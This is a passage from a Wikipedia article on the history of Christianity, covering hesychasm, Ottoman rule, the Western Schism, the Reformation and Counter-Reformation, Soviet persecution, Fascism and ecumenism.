          In these works, St Gregory Palamas uses a distinction, already found in the 4th century in the works of the Cappadocian Fathers, between the energies or operations (Gr. energeies) of God and the essence ( ousia) of God (see the Essence-Energies distinction). St Gregory taught that the energies or operations of God were uncreated. He taught that the essence of God can never be known by his creations even in the next life, but that his uncreated energies or operations can be known both in this life and in the next, and convey to the Hesychast in this life and to the righteous in the next life a true spiritual knowledge of God (see theoria). In Palamite theology, it is the uncreated energies of God that illumine the Hesychast who has been vouchsafed an experience of the Uncreated Light. Palamas referred to this experience as an apodictic (see Aristotle) validation of God rather than a scholastic contemplative or dialectical validation of God.


          In 1341 the dispute came before a synod held at Constantinople and was presided over by the Emperor Andronicus; the synod, taking into account the regard in which the writings of the pseudo-Dionysius were held, condemned Barlaam, who recanted and returned to Calabria, afterwards becoming a bishop in the Roman Catholic Church.


          One of Barlaam's friends, Gregory Akindynos, who originally was also a friend of St Gregory Palamas, took up the controversy, and three other synods on the subject were held, at the second of which the followers of Barlaam gained a brief victory. But in 1351 at a synod under the presidency of the Emperor John VI Cantacuzenus, Hesychast doctrine was established as the doctrine of the Orthodox Church.


          Up to this day, the Roman Catholic Church has never fully accepted Hesychasm, especially the distinction between the energies or operations of God and the essence of God, and the notion that those energies or operations of God are uncreated. In Roman Catholic theology as it has developed since the Scholastic period circa 11001500, the essence of God can be known, but only in the next life; the grace of God is always created; and the essence of God is pure act, so that there can be no distinction between the energies or operations and the essence of God (see, e.g., the Summa Theologiae of St Thomas Aquinas). Some of these positions depend on Aristotelian metaphysics.


          The contemporary historians Cantacuzenus and Nicephorus Gregoras deal very copiously with this subject, taking the Hesychast and Barlaamite sides respectively. Respected fathers of the church have held that these councils that agree that experiential prayer is Orthodox, refer to these as councils as Ecunemical Councils Eight and Nine. Father John S. Romanides, Hierotheos (Vlachos) of Nafpaktos, and the Very Rev. Prof. Dr. George Metallinos, Professor of theology at Athens Greece (see gnosiology).


          


          Age of captivity


          In 1453, the Byzantine Empire fell to the Ottoman Empire. By this time Egypt had been under Muslim control for some seven centuries, but Orthodoxy was very strong in Russia which had recently acquired an autocephalous status; and thus Moscow called itself the Third Rome, as the cultural heir of Constantinople.


          Under Ottoman rule, the Greek Orthodox Church acquired substantial power as an autonomous millet. The ecumenical patriarch was the religious and administrative ruler of the entire "Greek Orthodox nation" (Ottoman administrative unit), which encompassed all the Eastern Orthodox subjects of the Empire.
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          Isolation from the West


          As a result of the Ottoman conquest of the Byzantine Empire in 1453, and the Fall of Constantinople, the entire Orthodox communion of the Balkans and the Near East became suddenly isolated from the West. For the next four hundred years, it would be confined within a hostile Islamic world, with which it had little in common religiously or culturally. The Russian Orthodox Church was the only part of the Orthodox communion which remained outside the control of the Ottoman empire. It is, in part, due to this geographical and intellectual confinement that the voice of Eastern Orthodoxy was not heard during the Reformation in sixteenth century Europe. As a result, this important theological debate often seems strange and distorted to the Orthodox. They never took part in it and thus neither Reformation nor Counter-Reformation is part of their theological framework.


          


          Religious Rights under the Ottoman Empire


          The new Ottoman government that arose from the ashes of Byzantine civilization was neither primitive nor barbaric. Islam not only recognized Jesus as a great prophet, but tolerated Christians as another People of the Book. As such, the Church was not extinguished nor was its canonical and hierarchical organization significantly disrupted. Its administration continued to function. One of the first things that Mehmet the Conqueror did was to allow the Church to elect a new patriarch, Gennadius Scholarius. The Hagia Sophia and the Parthenon, which had been Christian churches for nearly a millennium were, admittedly, converted into mosques, yet countless other churches, both in Constantinople and elsewhere, remained in Christian hands. Moreover, it is striking that the patriarch's and the hierarchy's position was considerably strengthened and their power increased. They were endowed with civil as well as ecclesiastical power over all Christians in Ottoman territories. Because Islamic law makes no distinction between nationality and religion, all Christians, regardless of their language or nationality, were considered a single millet, or nation. The patriarch, as the highest ranking hierarch, was thus invested with civil and religious authority and made ethnarch, head of the entire Christian Orthodox population. Practically, this meant that all Orthodox Churches within Ottoman territory were under the control of Constantinople. Thus, the authority and jurisdictional frontiers of the patriarch were enormously enlarged.


          However, these rights and privileges (see Dhimmitude), including freedom of worship and religious organization, were often established in principle but seldom corresponded to reality. The legal privileges of the patriarch and the Church depended, in fact, on the whim and mercy of the Sultan and the Sublime Porte, while all Christians were viewed as little more than second-class citizens. Moreover, Turkish corruption and brutality were not a myth. That it was the "infidel" Christian who experienced this more than anyone else is not in doubt. Nor were pogroms of Christians in these centuries unknown (see Greco-Turkish relations).Devastating, too, for the Church was the fact that it could not bear witness to Christ. Missionary work among Moslems was dangerous and indeed impossible, whereas conversion to Islam was entirely legal and permissible. Converts to Islam who returned to Orthodoxy were put to death as apostates. No new churches could be built and even the ringing of church bells was prohibited. Education of the clergy and the Christian population either ceased altogether or was reduced to the most rudimentary elements.


          


          Corruption


          The Orthodox Church found itself subject to the Turkish system of corruption. The patriarchal throne was frequently sold to the highest bidder, while new patriarchal investiture was accompanied by heavy payment to the government. In order to recoup their losses, patriarchs and bishops taxed the local parishes and their clergy. Nor was the patriarchal throne ever secure. Few patriarchs between the fifteenth and the nineteenth centuries died a natural death while in office. The forced abdications, exiles, hangings, drownings, and poisonings of patriarchs are well documented. But if the patriarch's position was precarious so was the hierarchy's. The hanging of patriarch Gregory V from the gate of the patriarchate on Easter Sunday 1821 was accompanied by the execution of two metropolitans and twelve bishops.


          


          Devshirmeh


          Devshirmeh was the system of the collection of young boys from conquered Christian lands by the Ottoman sultans as a form of regular taxation in order to build a loyal army (formerly largely composed of war captives) and the class of (military) administrators called the " Janissaries", or other servants such as tellak in hamams. The word devşirme means "collecting, gathering" in Ottoman Turkish. Boys delivered to the Ottomans in this way were called ghilmn or acemi oglanlar ("novice boys").


          


          Western Schism


          The Western Schism, or Papal Schism, was a prolonged period of crisis in Latin Christendom from 1378 to 1416, when there were two or more claimants to the See of Rome and there was conflict concerning the rightful holder of the papacy. The conflict was political, rather than doctrinal, in nature.


          In 1309, Pope Clement V, due to political considerations, moved to Avignon in southern France and exercised his pontificate there. For sixty-nine years popes resided in Avignon rather than Rome. This was not only an obvious source of not only confusion but of political animosity as the prestige and influence of city of Rome waned without a resident pontiff. Though Pope Gregory XI, a Frenchman, returned to Rome in 1378, the strife between Italian and French factions intensified, especially following his subsequent death. In 1378 the conclave, elected an Italian from Naples, Pope Urban VI; his intransigence in office soon alienated the French cardinals, who withdrew to a conclave of their own, asserting the previous election was invalid since its decision had been made under the duress of a riotous mob. They elected one of their own, Robert of Geneva, who took the name Pope Clement VII. By 1379, he was back in the palace of popes in Avignon, while Urban VI remained in Rome.


          For nearly forty years, there were two papal curias and two sets of cardinals, each electing a new pope for Rome or Avignon when death created a vacancy. Each pope lobbied for support among kings and princes who played them off against each other, changing allegiance according to political advantage. In 1409, a council was convened at Pisa to resolve the issue. The council declared both existing popes to be schismatic (Gregory XII from Rome, Benedict XIII from Avignon) and appointed a new one, Alexander V. But the existing popes refused to resign and thus there were three papal claimants. Another council was convened in 1414, the Council of Constance. In March 1415 the Pisan pope, John XXIII, fled from Constance in disguise; he was brought back a prisoner and deposed in May. The Roman pope, Gregory XII, resigned voluntarily in July. The Avignon pope, Benedict XIII, refused to come to Constance; nor would he consider resignation. The council finally deposed him in July 1417. The council in Constance, having finally cleared the field of popes and antipopes, elected Pope Martin V as pope in November.


          


          Church and the Italian Renaissance (13991599)
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          The Renaissance was a period of great cultural change and achievement, marked in Italy by a classical orientation and an increase of wealth through mercantile trade. The City of Rome, the Papacy, and the Papal States were all affected by the Renaissance. On the one hand, it was a time of great artistic patronage and architectural magnificence, where the Church pardoned such artists as Michelangelo, Brunelleschi, Bramante, Raphael, Fra Angelico, Donatello, and da Vinci. On the other hand, wealthy Italian families often secured episcopal offices, including the papacy, for their own members, some of whom were known for immorality, such as Alexander VI and Sixtus IV.


          In addition to being the head of the Church, the Pope became one of Italy's most important secular rulers, and pontiffs such as Julius II often waged campaigns to protect and expand their temporal domains. Furthermore, the popes, in a spirit of refined competition with other Italian lords, spent lavishly both on private luxuries but also on public works, repairing or building churches, bridges, and a magnificent system of aqueducts in Rome that still function today. It was during this time that St. Peter's Basilica, perhaps the most recognized Christian church, was built on the site of the old Constantinian basilica. It was also a time of increased contact with Greek culture, opening up new avenues of learning, especially in the fields of philosophy, poetry, classics, rhetoric, and political science, fostering a spirit of humanismall of which would influence the Church.


          


          Protestant Reformation (15211579)


          In the early 16th century, movements were begun by two theologians, Martin Luther and Huldrych Zwingli, that aimed to reform the Church; these reformers are distinguished from previous ones in that they considered the root of corruptions to be doctrinal (rather than simply a matter of moral weakness or lack of ecclesiastical discipline) and thus they aimed to change contemporary doctrines to accord with what they perceived to be the "true gospel." The word Protestant is derived from the Latin protestatio meaning declaration which refers to the letter of protestation by Lutheran princes against the decision of the Diet of Speyer in 1529, which reaffirmed the edict of the Diet of Worms against the Reformation. Since that time, the term has been used in many different senses, but most often as a general term refers to Western Christianity that is not subject to papal authority.. The term "Protestant" was not originally used by Reformation era leaders; instead, they called themselves "evangelical", emphasizing the "return to the true gospel (Greek: euangelion)."


          The beginning of the Protestant Reformation is generally identified with Martin Luther and the posting of the 95 Theses on the castle church in Wittenberg, Germany. Early protest was against corruptions such as simony, episcopal vacancies, and the sale of indulgences. The Protestant position, however, would come to incorporate doctrinal changes such as sola scriptura and sola fide. The three most important traditions to emerge directly from the Protestant Reformation were the Lutheran, Reformed ( Calvinist, Presbyterian, etc.), and Anglican traditions, though the latter group identifies as both "Reformed" and "Catholic", and some subgroups reject the classification as "Protestant."


          The Protestant Reformation may be divided into two distinct but basically simultaneous movements, the Magisterial Reformation and the Radical Reformation. The Magisterial Reformation involved the alliance of certain theological teachers (Latin: magistri) such as Luther, Zwingli, Calvin, Cramner, etc. with secular magistrates who cooperated in the reformation of Christendom. Radical Reformers, besides forming communities outside state sanction, often employed more extreme doctrinal change, such as the rejection of tenants of the Councils of Nicaea and Chalcedon. Often the division between magisterial and radical reformers was as or more violent than the general Catholic and Protestant hostilities.


          The Protestant Reformation spread almost entirely within the confines of Northern Europe, but did not take hold in certain northern areas such as Ireland and parts of Germany. By far the magisterial reformers were more successful and their changes more widespread than the radical reformers. The Catholic response to the Protestant Reformation is known as the Counter Reformation, or Catholic Reformation, which resulted in a reassertion of traditional doctrines and the emergence of new religious orders aimed at both moral reform and new missionary activity. The Counter Reformation reconverted approximately 33% of Northern Europe to Catholicism and initiated missions in South and Central America, Africa, Asia, and even China and Japan. Protestant expansion outside of Europe occurred on a smaller scale through colonization of North America and areas of Africa.


          


          Martin Luther
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          Martin Luther was an Augustinian friar and professor at the University of Wittenberg. In 1517, he published a list of 95 Theses, or points to be debated, concerning the illicitness of selling indulgences. Luther had a particular disdain for Aristotelian philosophy, and as he began developing his own theology, he increasingly came into conflict with Thomistic scholars, most notably Cardinal Cajetan. Soon, Luther had begun to develop his theology of justification, or process by which one is "made right" (righteous) in the eyes of God. In Catholic theology, one is made righteous by a progressive infusion of grace accepted through faith and cooperated with through good works. Luther's doctrine of justification differed from Catholic theology in that justification rather meant "the declaring of one to be righteous", where God imputes the merits of Christ upon one who remains without inherent merit. In this process, good works are more of an unessential byproduct that contribute nothing to one's own state of righteousness. Conflict between Luther and leading theologians lead to his gradual rejection of authority of the Church hierarchy. In 1520, he was condemned for heresy by the papal bull Exsurge Domine, which he burned at Wittenberg along with books of canon law.


          


          Ulrich Zwingli
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          Ulrich Zwingli was a Swiss scholar and parish priest who was likewise influential in the beginnings of the Protestant Reformation. Zwingli claimed that his theology owed nothing to Luther, and that he had developed it in 1516, before Luther's famous protest, though his doctrine of justification was remarkably similar to that of the German friar. In 1518, Zwingli was given a post at the wealthy collegiate church of the Grossmnster in Zrich, where he would remain until his death at a relatively young age. Soon he had risen to prominence in the city, and when political tension developed between most of Switzerland and the Catholic Habsburg Emperor Charles V. In this environment, Zwingli began preaching his version of reform, with certain points as the aforementioned doctrine of justification, but others (with which Luther vehemently disagreed) such as the position that veneration of icons was actually idolatry and thus a violation of the first commandment, and the denial of the real presence in the Eucharist. Soon the city council had accepted Zwingli's doctrines and Zrich became a focal point of more radical reforming movements, and certain admires and followers of Zwingli pushed his message and reforms far further than even he had intended, such as rejecting infant baptism. This split between Luther and Zwingli formed the essence of the Protestant division between Lutheran and Reformed theology. Meanwhile, political tensions increased; Zwingli and the Zrich leadership imposed an economic blockade on the inner Catholic states of Switzerland, which lead to a battle in which Zwingli, in full armor, was slain along with his troops.


          


          John Calvin


          John Calvin was a French cleric and doctor of law turned Protestant reformer. He belonged to the second generation of the Reformation, publishing his theological tome, the Institutes of the Christian Religion, in 1536 (later revised), and establishing himself as a leader of the Reformed church in Geneva, which became an "unofficial capital" of Reformed Christianity in the second half of the sixteenth century. He exerted a remarkable amount of authority in the city and over the city council, such that he has (rather ignominiously) been called a "Protestant pope." Calvin established an eldership together with a "consistory", where pastors and the elders established matters of religious discipline for the Genevan population. Calvin's theology is best known for his doctrine of (double) predestination, which held that God had, from all eternity, providentially foreordained who would be saved ( the elect) and likewise who would be damned ( the reprobate). Predestination was not the dominant idea in Calvin's works, but it would seemingly become so for many of his Reformed successors.


          


          English Reformation
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          Unlike other reform movements, the English Reformation began by royal influence. Henry VIII considered himself a thoroughly Catholic King, and in 1521 he defended the papacy against Luther in a book he commissioned entitled, The Defense of the Seven Sacraments, for which Pope Leo X awarded him the title Fidei Defensor (Defender of the Faith). However, the king came into conflict with the papacy when he wished to annul his marriage with Catherine of Aragon, for which he needed papal sanction. Catherine, among many other noble relations, was the aunt of Emperor Charles V, the papacy's most significant secular supporter. The ensuing dispute eventually lead to a break from Rome and the declaration of the King of England as head of the English Church. England would later experienced periods of frenetic and eclectic reforms contrasted by periods led by staunch conservatives. Monarchs such as Edward VI, Mary I, Elizabeth I, and Archbishops of Canterbury such as Thomas Cranmer and William Laud pushed the Church of England in many directions over the course of only a few generations. What emerged was a state church that considered itself both "Reformed" and "Catholic" but not "Roman" (and hesitated from the title "Protestant"), and other "unofficial" more radical movements such as the Puritans.


          


          Counter-Reformation


          The Counter-Reformation, or Catholic Reformation, was the response of the Catholic Church to the Protestant Reformation. The essence of the Counter-Reformation was a renewed conviction in traditional practices and the upholding of Catholic doctrine as the source of ecclesiastic and moral reform, and the answer to halting the spread of Protestantism. Thus it experienced the founding of new religious orders, such as the Jesuits, the establishment of seminaries for the proper training of priests, renewed worldwide missionary activity, and the development of new yet orthodox forms of spirituality, such as that of the Spanish mystics and the French school of spirituality. The entire process was spearheaded by the Council of Trent, which clarified and reasserted doctrine, issued dogmatic definitions, and produced the Roman Catechism.


          Though Ireland, Spain, France, and elsewhere featured significantly in the Counter-Reformation, its heart was Italy and the various popes of the time, who established the Index Librorum Prohibitorum (the list of prohibited books) and the Roman Inquisition, a system of juridical tribunals that prosecuted heresy and related offences. The Papacy of St. Pius V (15661572) was known not only for its focus on halting heresy and worldly abuses within the Church, but also for its focus on improving popular piety in a determined effort to stem the appeal of Protestantism. Pius began his pontificate by giving large alms to the poor, charity, and hospitals, and the pontiff was known for consoling the poor and sick, and supporting missionaries. The activities of these pontiffs coincided with a rediscovery of the ancient Christian catacombs in Rome. As Diarmaid MacCulloch stated, "Just as these ancient martyrs were revealed once more, Catholics were beginning to be martyred afresh, both in mission fields overseas and in the struggle to win back Protestant northern Europe: the catacombs proved to be an inspiration for many to action and to heroism."


          


          The Council of Trent
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          The Council of Trent (15451563), initiated by Pope Paul III (15341549) addressed issues of certain ecclesiastical corruptions such as simony, absenteeism, nepotism, and other abuses, as well as the reassertion of traditional practices and the dogmatic articulation of the traditional doctrines of the Church, such as the episcopal structure, clerical celibacy, the seven Sacraments, transubstantiation (the belief that during mass the consecrated bread and wine truly become the body and blood of Christ), the veneration of relics, icons, and saints (especially the Blessed Virgin Mary), the necessity of both faith and good works for salvation, the existence of purgatory and the issuance (but not the sale) of indulgences, etc. In other words, all Protestant doctrinal objections and changes were uncompromisingly rejected. The Council also fostered an interest in education for parish priests to increase pastoral care. Milan's Archbishop Saint Charles Borromeo (15381584) set an example by visiting the remotest parishes and instilling high standards.


          


          Age of Discovery (14921769)


          The Age of Discovery began with the voyage of Christopher Columbus c. 1492. It is characterized by European colonization of missionary activity.


          


          Christian missionaries


          


          Catholic missions


          During the Age of Discovery, the Roman Catholic Church established a number of Missions in the Americas and other colonies in order to spread Christianity in the New World and to convert the indigenous peoples. At the same time, missionaries such as Francis Xavier as well as other Jesuits, Augustinians, Franciscans and Dominicans were moving into Asia and the Far East. The Portuguese sent missions into Africa. While some of these missions were associated with imperialism and oppression, others (notably Matteo Ricci's Jesuit mission to China) were relatively peaceful and focused on integration rather than cultural imperialism.


          


          Protestant colonization


          The most famous colonization by Protestants in the New World was that of English Puritans in North America. Unlike the Spanish or French, the English colonists made surprisingly little effort to evangelize the native peoples. The Puritans, or pilgrims, left England so that they could live in an area with Puritanism established as the exclusive civic religion. Though they had left England because of the suppression of their religious practice, most Puritans had thereafter originally settled in the Low Countries but found the licentiousness there, where the state hesitated from enforcing religious practice, as unacceptable, and thus they set out for the New World and the hopes of a Puritan utopia.


          


          Church and the Enlightenment (15801800)


          


          Trial of Galileo
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          The Galileo affair, in which Galileo Galilei came into conflict with the Roman Catholic Church over his support of Copernican astronomy, is often considered a defining moment in the history of the relationship between religion and science.


          In 1610, Galileo published his Sidereus Nuncius (Starry Messenger), describing the surprising observations that he had made with the new telescope. These and other discoveries exposed major difficulties with the understanding of the heavens that had been held since antiquity, and raised new interest in radical teachings such as the heliocentric theory of Copernicus.


          In reaction, many scholars maintained that the motion of the Earth and immobility of the Sun were heretical, as they contradicted some accounts given in the Bible as understood at that time. Galileo's part in the controversies over theology, astronomy and philosophy culminated in his trial and sentencing in 1633, on a grave suspicion of heresy.


          


          French Revolution


          French Republican Calendar and anti-clerical measures. 


          Revivalism (17201906)


          Revivalism refers to the Calvinist and Wesleyan revival, called the Great Awakening, in North America which saw the development of evangelical Congregationalist, Presbyterian, Baptist, and new Methodist churches. When the movement eventually waned, it gave rise to new Restorationist movements.


          


          Great Awakenings


          The First Great Awakening was a wave of religious enthusiasm among Protestants in the American colonies c. 17301740, emphasizing the traditional Reformed virtues of Godly preaching, rudimentary liturgy, and a deep sense of personal guilt and redemption by Christ Jesus. Historian Sydney E. Ahlstrom saw it as part of a "great international Protestant upheaval" that also created Pietism in Germany, the Evangelical Revival, and Methodism in England. It centered on reviving the spirituality of established congregations, and mostly affected Congregational, Presbyterian, Dutch Reformed, German Reformed, Baptist, and Methodist churches, while also spreading within the slave population. The Second Great Awakening (18001830s), unlike the first, focused on the unchurched and sought to instill in them a deep sense of personal salvation as experienced in revival meetings. It also sparked the beginnings of Restorationist groups such as the Mormons and the Holiness movement. The Third Great Awakening began from 1857 and was most notable for taking the movement throughout the world, especially in English speaking countries. The final group to emerge from the "great awakenings" in North America was Pentecostalism, which had its roots in the Methodist, Wesleyan, and Holiness movements, and began in 1906 on Azusa Street, in Los Angeles. Pentecostalism would later lead to the Charismatic movement.


          


          Restorationism


          Restorationism refers to various unaffiliated movements that considered contemporary Christianity, in all its forms, to be a deviation from the true, original Christianity, which these groups then attempted to "Reconstruct", often using the Book of Acts as a "guidebook" of sorts. Restorationism developed out of the Second Great Awakening and is historically connected to the Protestant Reformation, but differs in that Restorationists do not usually describe themselves as "reforming" a Christian Church continuously existing from the time of Jesus, but as restoring the Church that they believe was lost at some point. The name Restoration is also used to describe the Latter-day Saints (Mormons) and the Jehovah's Witness Movement.


          


          Contemporary history (1848-present)


          The history of the Church in contemporary times covers the period from the revolutions of 1848 to today.


          


          Russian Orthodox Church in the Russian Empire
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          The Russian Orthodox Church held a privileged position in the Russian Empire, expressed in the motto, Orthodoxy, Autocracy, and Populism, of the late Russian Empire. At the same time, it was placed under the control of the Tsar by the Church reform of Peter I in 18th century. Its governing body was Most Holy Synod, which was run by an official (titled Ober-Procurator) appointed by the Tsar himself.


          The church was involved in the various campaigns of russification, and accused of the involvement in anti-Jewish pogroms. In the case of anti-Semitism and the anti-Jewish pogroms, no evidence is given of the direct participation of the church, and many Russian Orthodox clerics, including senior hierarchs, openly defended persecuted Jews, at least from the second half of the nineteenth century. Also, the Church has no official position on Judaism as such.


          The Church was allowed to impose taxes on the peasants.


          The Church, like the Tsarist state was seen as an enemy of the people by the Bolsheviks and other Russian revolutionaries.


          


          Russian Orthodox Church in the Soviet Union


          The Russian Orthodox Church collaborated with the White Army in the Russian Civil War (see White movement) after the October Revolution. This may have further strengthened the Bolshevik animus against the church. According to Lenin, a communist regime cannot remain neutral on the question of religion but must show itself to be merciless towards it. There was no place for the church in Lenin's classless society.


          Before and after the October Revolution of November 7, 1917 (October 25 Old Calendar) there was a movement within the Soviet Union to unite all of the people of the world under Communist rule (see Communist International). This included the Eastern European bloc countries as well as the Balkan States. Since some of these Slavic states tied their ethnic heritage to their ethnic churches, both the peoples and their church where targeted by the Soviet. The Soviets' official religious stance was one of "religious freedom or tolerance", though the state established atheism as the only scientific truth. Criticism of atheism was strictly forbidden and sometimes lead to imprisonment.


          The Soviet Union was the first state to have as an ideological objective the elimination of religion. Toward that end, the Communist regime confiscated church property, ridiculed religion, harassed believers, and propagated atheism in the schools. Actions toward particular religions, however, were determined by State interests, and most organized religions were never outlawed. Some actions against Orthodox priests and believers along with execution included torture being sent to prison camps, labour camps or mental hospitals. The result of this militant atheism was to transform the Church into a persecuted and martyred Church. In the first five years after the Bolshevik revolution, 28 bishops and 1,200 priests were executed. This included people like the Grand Duchess Elizabeth Fyodorovna who was at this point a monastic. Along with her murder was Grand Duke Sergei Mikhailovich Romanov; the Princes Ioann Konstantinovich, Konstantin Konstantinovich, Igor Konstantinovich and Vladimir Pavlovich Paley; Grand Duke Sergei's secretary, Fyodor Remez; and Varvara Yakovleva, a sister from the Grand Duchess Elizabeth's convent. They were herded into the forest, pushed into an abandoned mineshaft and grenades were then hurled into the mineshaft. Her remains were buried in Jerusalem, in the Church of Maria Magdalene.


          
            [image: Christ the Savior Cathedral Moscow after reconstruction]

            
              Christ the Savior Cathedral Moscow after reconstruction
            

          


          The main target of the anti-religious campaign in the 1920s and 1930s was the Russian Orthodox Church, which had the largest number of faithful. Nearly its entire clergy, and many of its believers, were shot or sent to labor camps. Theological schools were closed, and church publications were prohibited. In the period between 1927 and 1940, the number of Orthodox Churches in the Russian Republic fell from 29,584 to less than 500. Between 1917 and 1940, 130,000 Orthodox priests were arrested. Of these, 95,000 were put to death, executed by firing squad. Father Pavel Florensky was one of the New-martyrs of this particular period.


          After Nazi Germany's attack on the Soviet Union in 1941, Joseph Stalin revived the Russian Orthodox Church to intensify patriotic support for the war effort. By 1957 about 22,000 Russian Orthodox churches had become active. But in 1959 Nikita Khrushchev initiated his own campaign against the Russian Orthodox Church and forced the closure of about 12,000 churches. By 1985 fewer than 7,000 churches remained active. Members of the church hierarchy were jailed or forced out, their places taken by docile clergy, many of whom had ties with the KGB.


          In the Soviet Union, in addition to the methodical closing and destruction of churches, the charitable and social work formerly done by ecclesiastical authorities was taken over by the state. As with all private property, Church owned property was confiscated into public use. The few places of worship left to the Church were legally viewed as state property which the government permitted the church to use. After the advent of state funded universal education, the Church was not permitted to carry on educational, instructional activity for children. For adults, only training for church-related occupations was allowed. Outside of sermons during the celebration of the divine liturgy it could not instruct or evangelize to the faithful or its youth. Catechism classes, religious schools, study groups, Sunday schools and religious publications were all illegal and or banned. This persecution continued, even after the death of Stalin until the dissolution of the Soviet Union in 1991. This caused many religious tracts to be circulated as illegal literature or samizdat. Since the fall of the Soviet Union there have been many New-martyrs added as Saints from the yoke of atheism.


          


          Fascism


          Fascism describes certain related political regimes in 20th century Europe, especially the Nazi Germany of Hitler. The position of Christians in Nazi Fascism is highly complex.


          Regarding the matter, historian Derek Holmes wrote, There is no doubt that the Catholic districts, resisted the lure of National Socialism [Nazism] far better than the Protestant ones. Pope Pius XI declared that Fascist governments had hidden "pagan intentions" and expressed the irreconcilability of the Catholic position and Fascism, which placed the nation above God and fundamental human rights and dignity. His declaration that Spiritually, [Christians] are all Semites prompted the Nazis to give him the title Chief Rabbi of the Christian World.


          Catholic priests were executed in concentration camps alongside Jews; for example, 2,600 Catholic Priests were imprisoned in Dachau, and 2,000 of them were executed. A further 2,700 Polish priests were executed (a quarter of all Polish priests), and 5,350 Polish nuns were either displaced, imprisoned, or executed. Many Catholic laypeople and clergy played notable roles in sheltering Jews during the Holocaust, including Pope Pius XII (18761958). The head rabbi of Rome became a Catholic in 1945 and, in honour of the actions the Pope undertook to save Jewish lives, he took the name Eugenio (the pope's first name). A former Israeli consul in Italy claimed: The Catholic Church saved more Jewish lives during the war than all the other churches, religious institutions, and rescue organisations put together.


          The relationship between Nazism and Protestantism, especially the German Lutheran Church, was complex. Though the majority of Protestant church leaders in Germany supported the Nazis' growing anti-Jewish activities, some, such as Dietrich Bonhoeffer (a Lutheran pastor) were strongly opposed to the Nazis. Bonhoeffer was later found guilty in the conspiracy to assassinate Hitler and executed.


          


          Diaspora emigration to the West


          One of the most striking developments in modern historical Orthodoxy is the dispersion of Orthodox Christians to the West. Emigration from Greece and the Near East in the last hundred years has created a sizable Orthodox diaspora in Western Europe, North and South America, and Australia. In addition, the Bolshevik Revolution forced thousands of Russian exiles westward. As a result, Orthodoxy's traditional frontiers have been profoundly modified. Millions of Orthodox are no longer geographically "eastern" since they live permanently in their newly adopted countries in the West. Nonetheless, they remain Eastern Orthodox in their faith and practice. Virtually all the Orthodox nationalities  Greek, Arab, Russian, Serbian, Albanian, Ukrainian, Romanian, and Bulgarian  are represented in the United States.


          


          Modern trends in Christian theology


          


          Modernism and liberal Christianity


          Liberal Christianity, sometimes called liberal theology, is an umbrella term covering diverse, philosophically-informed religious movements and moods within late 18th, 19th and 20th century Christianity. The word "liberal" in liberal Christianity does not refer to a leftist political agenda or set of beliefs, but rather to the freedom of dialectic process associated with continental philosophy and other philosophical and religious paradigms developed during the Age of Enlightenment.


          


          Fundamentalism


          Fundamentalist Christianity, is a movement that arose mainly within British and American Protestantism in the late 19th and early 20th centuries in reaction to modernism and certain liberal Protestant groups that denied doctrines considered fundamental to Christianity yet still called themselves "Christian." Thus, fundamentalism sought to reestablish tenets that could not be denied without relinquishing a Christian identity, the " fundamentals": inerrancy of the Bible, Sola Scriptura, the Virgin Birth of Jesus, the doctrine of substitutionary atonement, the bodily resurrection of Jesus, and the imminent return of Jesus Christ.


          


          Second Vatican Council


          On 11 October 1962 Pope John XXIII opened the Second Vatican Council, the 21st ecumenical council of the Catholic Church. The council was "pastoral" in nature, emphasizing and clarifying already defined dogma, revising liturgical practices, and providing guidance for articulating traditional Church teachings in contemporary times. The council is perhaps best known for its instructions that the Mass may be celebrated in the vernacular as well as in Latin.


          


          Ecumenism


          Ecumenism broadly refers to movements between Christian groups to establish a degree of unity through dialogue. "Ecumenism" is derived from Greek ἰέ ( oikoumene), which means "the inhabited world", but more figuratively something like "universal oneness." The movement can be distinguished into Catholic and Protestant movements, with the latter characterized by a redefined ecclesiology of "denominationalism" (which the Catholic Church, among others, rejects).


          


          Catholic ecumenism


          Over the last century, a number of moves have been made to reconcile the schism between the Catholic Church and the Eastern Orthodox churches. Although progress has been made, concerns over papal primacy and the independence of the smaller Orthodox churches has blocked a final resolution of the schism.


          On 30 November 1894, Pope Leo XIII published the Apostolic Letter Orientalium Dignitas (On the Churches of the East) safeguarding the importance and continuance of the Eastern traditions for the whole Church. On 7 December 1965, a Joint Catholic-Orthodox Declaration of His Holiness Pope Paul VI and the Ecumenical Patriarch Athenagoras I was issued lifting the mutual excommunications of 1054.


          Some of the most difficult questions in relations with the ancient Eastern Churches concern some doctrine (i.e. Filioque, Scholasticism, functional purposes of asceticism, the essence of God, Hesychasm, Fourth Crusade, establishment of the Latin Empire, Uniatism to note but a few) as well as practical matters such as the concrete exercise of the claim to papal primacy and how to ensure that ecclesiastical union would not mean mere absorption of the smaller Churches by the Latin component of the much larger Catholic Church (the most numerous single religious denomination in the world), and the stifling or abandonment of their own rich theological, liturgical and cultural heritage.


          With respect to Catholic relations with Protestant communities, certain commissions were established to foster dialogue and documents have been produced aimed at identifying points of doctrinal unity, such as the Joint Declaration on the Doctrine of Justification produced with the Lutheran World Federation in 1999.


          


          Ecumenism within Protestantism


          Ecumenical movements within Protestantism have focused on determining a list of doctrines and practices essential to being Christian and thus extending to all groups which fulfill these basic criteria a (more or less) co-equal status, with perhaps one's own group still retaining a "first among equal" standing. This process involved a redefinition of the idea of "the Church" from traditional theology. This ecclesiology, known as denominationalism, contends that each group (which fulfills the essential criteria of "being Christian") is a sub-group of a greater "Christian Church", itself a purely abstract concept with no direct representation, i.e., no group, or "denomination", claims to be "the Church." Obviously, this ecclesiology is at variance with other groups that indeed consider themselves to be "the Church." But moreover, because the "essential criteria" generally consist of belief in the Trinity, it has resulted in strife between these Protestant ecumenical movements and non-Trinitarian groups such as Latter-day Saints (Mormons) and Jehovah's Witnesses, which are not often regarded as Christian by these ecumenical groups.


          


          International Christianity and future developments


          At the beginning of the 21st century China is estimated to be the third largest Christian nation on earth, with the future prospect of Christianity eventually becoming a Sino-centric religion.


          
            I suspect that even the most enthusiastic accounts err on the downside, and that Christianity will have become a Sino-centric religion two generations from now. China may be for the 21st century what Europe was during the 8th-11th centuries, and America has been during the past 200 years: the natural ground for mass evangelization. If this occurs, the world will change beyond our capacity to recognize it. Islam might defeat the western Europeans, simply by replacing their diminishing numbers with immigrants, but it will crumble beneath the challenge from the East.  Spengler

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/History_of_Christianity"
